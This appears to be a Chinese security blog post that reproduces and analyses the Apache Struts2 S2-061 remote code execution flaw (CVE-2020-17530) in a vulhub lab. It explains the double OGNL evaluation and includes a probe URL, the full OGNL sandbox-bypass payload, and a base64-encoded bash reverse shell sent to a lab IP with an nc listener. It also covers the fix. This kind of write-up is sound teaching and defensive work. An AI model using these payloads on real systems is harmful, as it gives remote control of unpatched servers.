【漏洞复现】6.Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现与分析

2024-03-21 13:04

本文主要是介绍【漏洞复现】6.Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现与分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 1. 预备知识
  • 2. 漏洞复现
    • 2.1 漏洞介绍
    • 2.2 漏洞原理分析
      • 2.2.1 Apache Struts2架构
      • 2.2.2 OGNL语法介绍
      • 2.2.3漏洞原理
    • 2.3 漏洞复现
      • 2.3.1 靶场搭建
      • 2.3.2 漏洞探测
      • 2.3.3 漏洞利用
      • 2.3.4 POC分析
    • 2.4 漏洞修复

1. 预备知识

在这里插入图片描述

Struts是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts也是一个中间件,它可以连接不同的系统和服务,实现数据和功能的交互和集成。Struts有以下几点优势:

  1. Struts提供了一个控制器Servlet (ActionServlet),它可以根据struts-config.xml文件的配置,将传入请求映射到Struts Action对象,并实例化与暂时存储窗体数据的ActionForm对象。
  2. Struts提供了定制标记库,以便于在JSP页中与HTML窗体进行交互,并调用代码完成功能和Javadoc支持。
  3. Struts提供了模板创建Struts Action对象和ActionForm Bean,并自动在struts-config.xml文件中注册这些类。
  4. Struts提供了验证机制,可以对用户输入的数据进行检查,并设置错误消息。
  5. Struts与Apache软件基金会的其他项目(如Jakarta、Velocity、Lucene等)兼容,并可以与各种标准的数据访问技术结合在一起,包括EJB、JDBC和JNDI。

2. 漏洞复现

2.1 漏洞介绍

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行
Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,如果没有使用这个依赖包,也还是没办法进行利用

2.2 漏洞原理分析

2.2.1 Apache Struts2架构

在这里插入图片描述

  1. 客户端提交web请求,指向一个Servlet容器,Servlet容器初步解析该请求
  2. 核心处理器Filter Dispatcher 协调其他控制器处理请求并确定合适的 Action
  3. 拦截器自动将通用功能应用于请求,例如工作流、验证和文件上传处理
  4. Action 方法执行,通常存储或从数据库中检索信息
  5. 结果将输出呈现给客户端,可以是 HTML、图像、PDF 或其他内容

2.2.2 OGNL语法介绍

OGNL的全称是对象图导航语言( Object-Graph Navigation Language),它是一种用于获取和设置 Java对象属性的开源表达式语言,以及其他附加功能,是Struts2的默认表达式语言。使用这种表达式语言,可以利用表达式语法树规则,存储Java对象的任意属性,调用Java对象的方法,同时能够自动实现期望的类型转换。如果将表达式看作是一种带有语义的字符串,那么OGNL就是这个语义字符串与Java对象之间的沟通桥梁,其功能就是双向转换语义字符串与Java对象数据即转换String和Object。
OGNL执行操作三要素:
表达式(Expression)、根对象(Root Object)、上下文环境(Context)
OGNL 三个重要操作符号
OGNL中的三个重要符号:#、%、$,这里重点介绍%,其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。例如:<s:url value =“%{items.{title}[0]}”/>。

2.2.3漏洞原理

S2-061和S2-059的OGNL表达执行触发方式一样,S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。
diff一下沙盒,可以看到把很多中间件的包添加到了黑名单中。
在这里插入图片描述

已知的OGNL沙盒限制为:

  • 无法new一个对象
  • 无法调用黑名单类和包的方法、属性
  • 无法使用反射
  • 无法调用静态方法
    另外,最新的struts2在 ognl.OgnlRuntime#invokeMethod 中ban掉了常用的class,意味着即使绕过了沙盒依然不能直接调用这些类。
    再看一下OGNL沙盒未限制的操作为:
  • 对象属性 setter/getter(public) 赋/取值,可以访问静态属性。
  • 已实例类的方法调用( OgnlContext 中的对象),不允许调用静态方法
    可以看到目前我们只能在 OgnlContext 中寻找可利用的对象。
    在s2-061问题中,使用在jsp中定义的类,类似如下idVal=%{3*3}输入将执行双重OGNL评估,从而导致id=“9”
    //example <s:a id=“%{idVal}”/> //result <s:a id=“9”/>
    从diff分析,核心问题的部分在于属性name会调用 completeExpressionIfAltSyntax函数并将其分配给 expr,但在最终OGNL解析expr之前对name进行了递归检查。
    在这里插入图片描述

但是如果不对name进行第二次 OGNL解析,name将不会包含用户提供的来自 URL 参数的数据。但是在前面的evaluateParams函数中却执行了另一个 OGNL解析。
在这里插入图片描述

所以对于某些 UIBean标记的名称属性就很容易受到两次 OGNL 解析,这就导致了远程代码执行。

2.3 漏洞复现

2.3.1 靶场搭建

利用vulhub中的镜像strusts2 s2-061,进入到相关目录,执行docker-compose up -d
在这里插入图片描述

浏览器访问8080,页面如下搭建成功:
在这里插入图片描述

2.3.2 漏洞探测

  1. 验证漏洞是否存在
    192.168.10.132:8080/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d
    通过抓取返回包发现执行了 2021+20的命令,漏洞存在
    在这里插入图片描述

  2. dnslog验证
    抓包修改为以下,这里的#arglist.add(“xx”)函数这里包含的值是要执行的命令
    在这里插入图片描述

刷新dnslog平台,获得一条访问记录,出网成功
在这里插入图片描述

2.3.3 漏洞利用

远程命令执行,把payload的命令换成要执行的命令,如ls列举当前目录环境
在这里插入图片描述

反弹shell:

bash -i >& /dev/tcp/192.168.10.132/4444 0>&1

反弹shell涉及到管道符问题要将命令进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzMi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

在vps上监听4444端口:nc -lvnp 4444
在这里插入图片描述
在这里插入图片描述

反弹shell成功,可执行任意命令

2.3.4 POC分析

首先我们来看s2-061的命令执行方式:

%{ (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) }

在Struts2 v2.5.26之后将org.apache.tomcat加入了黑名单,导致无法获取BeanMap对象
在这里插入图片描述

绕过的新语法如下:

https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"}

创建一个 BeanMap 对象,可以通过如下实现:

#@org.apache.commons.collections.BeanMap@{}

2.4 漏洞修复

避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。建议受影响的用户将Apache Struts框架升级至最新版本

这篇关于【漏洞复现】6.Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现与分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/832681

相关文章

[职场] 公务员的利弊分析 #知识分享#经验分享#其他

公务员的利弊分析     公务员作为一种稳定的职业选择,一直备受人们的关注。然而,就像任何其他职业一样,公务员职位也有其利与弊。本文将对公务员的利弊进行分析,帮助读者更好地了解这一职业的特点。 利: 1. 稳定的职业:公务员职位通常具有较高的稳定性,一旦进入公务员队伍,往往可以享受到稳定的工作环境和薪资待遇。这对于那些追求稳定的人来说,是一个很大的优势。 2. 薪资福利优厚:公务员的薪资和

通过SSH隧道实现通过远程服务器上外网

搭建隧道 autossh -M 0 -f -D 1080 -C -N user1@remotehost##验证隧道是否生效,查看1080端口是否启动netstat -tuln | grep 1080## 测试ssh 隧道是否生效curl -x socks5h://127.0.0.1:1080 -I http://www.github.com 将autossh 设置为服务,隧道开机启动

IDEA配置Tomcat远程调试

因为不想把本地的Tomcat配置改乱或者多人开发项目想测试,本文主要是记录一下,IDEA使用Tomcat远程调试的配置过程,免得一段时间不去配置到时候忘记(毕竟这次是因为忘了,所以才打算记录的…) 首先在catalina.sh添加以下内容 JAVA_OPTS="-Dcom.sun.management.jmxremote=-Dcom.sun.management.jmxremote.port

高度内卷下,企业如何通过VOC(客户之声)做好竞争分析?

VOC,即客户之声,是一种通过收集和分析客户反馈、需求和期望,来洞察市场趋势和竞争对手动态的方法。在高度内卷的市场环境下,VOC不仅能够帮助企业了解客户的真实需求,还能为企业提供宝贵的竞争情报,助力企业在竞争中占据有利地位。 那么,企业该如何通过VOC(客户之声)做好竞争分析呢?深圳天行健企业管理咨询公司解析如下: 首先,要建立完善的VOC收集机制。这包括通过线上渠道(如社交媒体、官网留言

Linux 下的Vim命令宝贝

vim 命令详解(转自:https://www.cnblogs.com/usergaojie/p/4583796.html) vi: Visual Interface 可视化接口 vim: VI iMproved VI增强版 全屏编辑器,模式化编辑器 vim模式: 编辑模式(命令模式)输入模式末行模式 模式转换: 编辑-->输入: i: 在当前光标所在字符的前面,转为输入模式

Linux中拷贝 cp命令中拷贝所有的写法详解

This text from: http://www.jb51.net/article/101641.htm 一、预备  cp就是拷贝,最简单的使用方式就是: cp oldfile newfile 但这样只能拷贝文件,不能拷贝目录,所以通常用: cp -r old/ new/ 那就会把old目录整个拷贝到new目录下。注意,不是把old目录里面的文件拷贝到new目录,

Redis-在springboot环境下执行lua脚本

文章目录 1、什么lua2、创建SpringBoot工程3、引入相关依赖4、创建LUA脚本5、创建配置类6、创建启动类7、创建测试类 1、什么lua “Lua”的英文全称是“Lightweight Userdata Abstraction Layer”,意思是“轻量级用户数据抽象层”。 2、创建SpringBoot工程 3、引入相关依赖 <?xml version

js小题:通过字符串执行同名变量怎么做

在JavaScript中,你不能直接使用一个字符串来直接引用一个变量,因为JavaScript是一种静态类型语言(尽管它的类型在运行时可以变化),变量的名字在编译时就被确定了。但是,有几种方法可以实现类似的功能: 使用对象(或Map)来存储变量: 你可以使用一个对象来存储你的变量,然后使用字符串作为键来访问这些变量。 let myVars = { 'var1': 'Hello', 'var

中国341城市生态系统服务价值数据集(2000-2020年)

生态系统服务反映了人类直接或者间接从自然生态系统中获得的各种惠益,对支撑和维持人类生存和福祉起着重要基础作用。目前针对全国城市尺度的生态系统服务价值的长期评估还相对较少。我们在Xie等(2017)的静态生态系统服务当量因子表基础上,选取净初级生产力,降水量,生物迁移阻力,土壤侵蚀度和道路密度五个变量,对生态系统供给服务、调节服务、支持服务和文化服务共4大类和11小类的当量因子进行了时空调整,计算了

打包体积分析和优化

webpack分析工具:webpack-bundle-analyzer 1. 通过<script src="./vue.js"></script>方式引入vue、vuex、vue-router等包(CDN) // webpack.config.jsif(process.env.NODE_ENV==='production') {module.exports = {devtool: 'none